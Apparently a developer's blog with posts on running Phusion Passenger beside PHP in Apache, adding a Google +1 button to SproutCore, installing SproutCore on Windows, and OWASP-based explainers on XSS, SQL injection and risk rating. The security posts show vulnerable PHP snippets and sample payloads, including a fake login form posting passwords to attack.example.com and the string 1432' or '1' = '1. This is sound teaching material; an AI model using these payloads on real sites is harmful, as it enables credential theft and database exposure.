Switching to Ruby from PHP wasn’t as hard as deploying rails/sinatra app on existing Apache-PHP environment. It should’ve been fairly easy as I choose to do it with Phusion Passenger instead of using Proxy to the rails/sinatra app. But who knew things can get really ugly if I hadn’t tested locally.

Problem Ughhh @#$@%@:

Actually I deployed a rails/sinatra app in production first then was trying to configure in my localhost but then figured out when passenger module is loaded DirectoryIndex index.php isn’t working, meaning index.php of any web application wasn’t recognized by apache by default anymore as before you have to type it in the browser. Digging deeper found out mod_dir is not compatible with phusion passenger offering no fix yet. You might want to check with conflicting apache module with phusion passenger before even trying to install passenger in your existing apache-php environment.

Avoid Catastrophe:

The reason why I did not notice it in my production environment at first because of cache. Once I tried to deploy in my local machine things aren’t working as it was in production. I had to type in index.php to gain access. Checked AddHandler, AddType, DirectoryIndex index.php everything in place and nothing seems to work until I found the conflicting apache modules.

Solution:

There’s a workaround provided by the Passenger team i.e. using PassengerEnabled off. After Passenger module is loaded you can turn it off so that mod_dir can do it’s job setting correct DirectoryIndex, and then enable it where Phusion Passenger is required, preferable inside rails/sinatra app  <Directory> block. If you put it outside it may globally configure which will again make mod_dir not to work. Only when an agent is requesting for the rails/sinatra app it gets turned on for that Directory block and there’s no conflict anymore. A good example is provided at Phusion Passenger Guide. This setting can be done otherway around depending on the number of rails/sinatra and php application you have running in your environment.

Still waiting for something to go wrong just hoping it happens in my local machine ealier.

Local Environment:

Mac OS X Lion 10.7.2 , built in apache2, php5.3.6., rvm 1.10.0, ruby 1.9.2, passenger 3.0.11

I have been developing a web application in Sproutcore framework. It’s a great framework to develop. I have integrated with facebook login, like button and thought may be great idea to add google +1 button.

At first I thought it should be an easy procedure with the straight forward tutorial posted in google. But I had the problem of rendering the button in the page. So I followed the explicit load example in google +1 button in their website.  Below the steps I followed  to show up  google +1 in my sproutcore application:

1. Add the plusone script in the head portion of ‘index.rhtml’

<script type="text/javascript" src="https://apis.google.com/js/plusone.js">
    {"parsetags": "explicit"} /* for explicit loading */
</script>

2. Added <div id=”plusone-div”></div> where I wanted the button to appear.

3.  Added the following javascript function:

createPlusOne: function () {
    gapi.plusone.render("plusone-div",{"size":"medium","count":"true"});
}

first parameter: the div to render
second parameter: button configuration in json format
more configuration settings can be found in here.

4. Called this function in the states wherever I wanted to render the button.

That should be it. Enjoy +1!

Google very recently released its +1 button similar to the Facebook Like button. It’s part of the Google+ project which seems to take on Facebook and Skype at the same time with social networking and online audio/video chat feature.

To add google +1 button to your website you have to add the following scripts in your html.

<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>

By default the included script will walk the DOM and render any +1 tags. The syntax is as follows:

 <g:plusone size="standard" count="true"></g:plusone>

That’s about it! If you want to know more in details you can visit the link: The Google +1

Sproutcore is an MVC architecture javscript framework for client-side for developing desktop like rich web applications. It enables building blazingly fast, innovative user experiences on the web. To know more about sproutcore visit here.

Install sproutcore in your windows machine you can download the windows installer from the site. Or you can install using ruby 1.9.2-p180.

gem install sproutcore -pre

if you are working on Windows then you will probably run into this when you install SproutCore:

gem install sproutcore -pre
Fetching: rack-1.2.2.gem (100%)
Fetching: json_pure-1.4.6.gem (100%)
Fetching: extlib-0.9.15.gem (100%)
Fetching: abstract-1.0.0.gem (100%)
Fetching: erubis-2.6.6.gem (100%)
Fetching: thor-0.14.6.gem (100%)
Fetching: eventmachine-0.12.10.gem (100%)
ERROR: Error installing sproutcore:
The ‘eventmachine’ native gem requires installed build tools.

Please update your PATH to include build tools or download the DevKit
from ‘http://rubyinstaller.org/downloads’ and follow the instructions
at ‘http://github.com/oneclick/rubyinstaller/wiki/Development-Kit’

You can find out more about DevKit at https://github.com/oneclick/rubyinstaller/wiki/Development-Kit and you can download DevKit at http://rubyinstaller.org/downloads, which you probably picked up on from the error message above.

Note: the latest version of “eventmachine” is not compatible with DevKit. You have to get the pre-release version by using this command:

gem install eventmachine –pre

Once you successfully install eventmachine run the following command again to install sproutcore.

gem install sproutcore -pre

When you try and install SproutCore again you should see a successful install like this:

gem install sproutcore -pre
Fetching: daemons-1.1.2.gem (100%)
Fetching: thin-1.2.11-x86-mingw32.gem (100%)
Fetching: sproutcore-1.4.5.gem (100%)
Successfully installed daemons-1.1.2
Successfully installed thin-1.2.11-x86-mingw32
Successfully installed sproutcore-1.4.5
3 gems installed
Installing ri documentation for daemons-1.1.2…
Installing ri documentation for thin-1.2.11-x86-mingw32…
Installing ri documentation for sproutcore-1.4.5…
Installing RDoc documentation for daemons-1.1.2…
Installing RDoc documentation for thin-1.2.11-x86-mingw32…
Installing RDoc documentation for sproutcore-1.4.5…

once you get this you should be able to create your first application running the following in command prompt:

sc-init

You should have a project folder created with the required files. Now you cd into the project folder and run the following command to start the server:

sc-server

Sproutcore browser by default listens to port 4020. Once you see the server has started to listening you can browse from browser to http://localhost:4020

That’s it you should see the welcome to sproutcore message in your browser after launching your project application!

Cross-site scripting (XSS) is one of the most prevalent, obstinate, and dangerous vulnerabilities in web applications. It’s pretty much inevitable when you combine the stateless nature of HTTP, the mixture of data and script in HTML, lots of data passing between web sites, diverse encoding schemes, and feature-rich web browsers. If you’re not careful, attackers can inject Javascript or other browser-executable content into a web page that your application generates. Your web page is then accessed by other users, whose browsers execute that malicious script as if it came from you (because, after all, it *did* come from you). Suddenly, your web site is serving code that you didn’t write. The attacker can use a variety of techniques to get the input directly into your server. Cross-site scripting (XSS) vulnerabilities occur when:

1. Untrusted data enters a web application, typically from a web request.

2. The web application dynamically generates a web page that contains this untrusted data.

3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.

4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.

5. Since the script comes from a web page that was sent by the web server, the victim’s web browser executes the malicious script in the context of the web server’s domain.

6. This effectively violates the intention of the web browser’s same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

Types of XSS:

Type 1: Reflected XSS (or Non-Persistent)

The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser.

Type 2: Stored XSS (or Persistent)

The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content.  For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.

Type 3: DOM-Based XSS

In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

XSS flaws are very common in web applications since they require a great deal of developer discipline to avoid them. It has following consequences:

Scope Effect
Confidentiality
 Bypass protection mechanism; Read application data

The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which — when parsed by a web browser — performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.

Access Control
 Execute unauthorized code or commands

In some circumstances it may be possible to run arbitrary code on a victim’s computer when cross-site scripting is combined with other flaws.

Confidentiality
Integrity
Availability
 Execute unauthorized code or commands; Bypass protection mechanism; Read application data

The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server.

XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running “Active X” controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.

Likelihood of Exploit: High to Very High

Example:

This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.

(Bad Code)
Example Language: PHP
$username = $_GET[‘username’];
echo ‘<div> Welcome, ‘ . $username . ‘</div>’;

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

(Attack)
 http://trustedSite.example.com/welcome.php?username=<Script Language=”Javascript”>alert(“You’ve been attacked!”);</Script>

This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending his password to the attacker:

(Attack)
 http://trustedSite.example.com/welcome.php?username=<div id=”stealPassword”>Please Login:<form name=”input” action=”http://attack.example.com/stealPassword.php&#8221; method=”post”>Username: <input type=”text” name=”username” /><br/>Password: <input type=”password” name=”password” /><input type=”submit” value=”Login” /></form></div>

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user’s browser:

(Result)
 <div> Welcome,
<div id=”stealPassword”>Please Login:
<form name=”input” action=”attack.example.com/stealPassword.php” method=”post”>
Username: <input type=”text” name=”username” />
<br/>
Password: <input type=”password” name=”password” />
<input type=”submit” value=”Login” />
</form>
</div>
</div>

Is your application vulnerable to XSS?

You need to ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content that might get executed. Developers need to include this escaping in their applications unless their UI framework does this for them. See the OWASP XSS Prevention Cheat Sheet for more information about data escaping techniques.

Both static and dynamic tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, which makes automated detection difficult. Therefore, complete coverage requires a combination of manual code review and manual penetration testing, in addition to any automated approaches in use.

Web 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools which may require manual review.

Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.

SQL Injection:

An application constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.

SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

This type of attack has a great deal of technical impact on data-rich web applications that save user inputs in database with following potential consequences:

Confidentiality
Read application data

Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.

Authentication
Bypass protection mechanism

If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.

Authorization
Bypass protection mechanism

If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.

Integrity
Modify application data

Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL injection attack.

Likelihood of Exploit: Very High

Example:

This code intends to print a message summary given the message ID.

(Bad Code)
Example Language: PHP
$id = $_COOKIE["mid"];
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");

The programmer may have skipped any input validation on $id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While $id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to:

(Attack)
1432' or '1' = '1

This would produce the resulting query:

(Result)
 SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'

Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

(Good Code)
Example Language: PHP
$id = intval($_COOKIE["mid"]);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");

However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check to ensure that the application user has the permission to see that message.

Is your Application Vulnerable To Injection?

The best way to find out if an application is vulnerable to injection is to verify that all use of interpreters clearly separates untrusted data from the command or query. For SQL calls, this means using bind variables in all prepared statements and stored procedures, and avoiding dynamic queries. Checking the code is a fast and accurate way to see if the application uses interpreters safely.

Automated dynamic scanning which exercises the application may provide insight into whether some exploitable injection problems exist. Scanners cannot always reach interpreters and can have difficulty detecting whether an attack was successful.

Note: The definition and examples are taken mostly from OWASP and Common Weakness Enumeration Community

I’m a developer, I know how we are thinking when it comes to security. We take a simple approach – penetrate and then patch it up. However, we will have to change this mentality because it is no longer limited to finding vulnerabilities, it has changed to managing risks which involves data privacy, business and technical impact. For this we need to change our development culture, start managing risks. We need an application risk management program, not just awareness training, app testing, and remediation.

How does the OWASP Top 10 rating works?

The OWASP Top Ten represents a broad consensus about what the most critical web application security flaws are. Project members include a variety of security experts from around the world who have shared their expertise to produce this list. The rating is based on risks rather than vulnerabilities in web applications. Discovering vulnerabilities is important, but just as important is being able to estimate the associated risk to the business. Early in the lifecycle, you may identify security concerns in the architecture or design by using threat modeling. Later, you may find security issues using code review or penetration testing. Or you may not discover a problem until the application is in production and is actually compromised.

By following the approach here, you’ll be able to estimate the severity of all of these risks to your business, and make an informed decision about what to do about them. Having a system in place for rating risks will save time and eliminate arguing about priorities. This system will help to ensure that you don’t get distracted by minor risks while ignoring more serious risks that are less well understood.

There are many different approaches to risk analysis.  The OWASP approach presented here is based on these standard methodologies and is customized for application security.

Let’s start with the standard risk model:

      Risk = Likelihood * Impact

Likelihood consists of threat agent and vulnerability factors while impact is technological and business impact of an attack. All these helps you to determine how serious a risk is. Eventually you determine the severity of risk and decide what to fix. You can also customize your risk rating model depending on your needs. You can add factors or adjust the weighting scheme.

%d bloggers like this: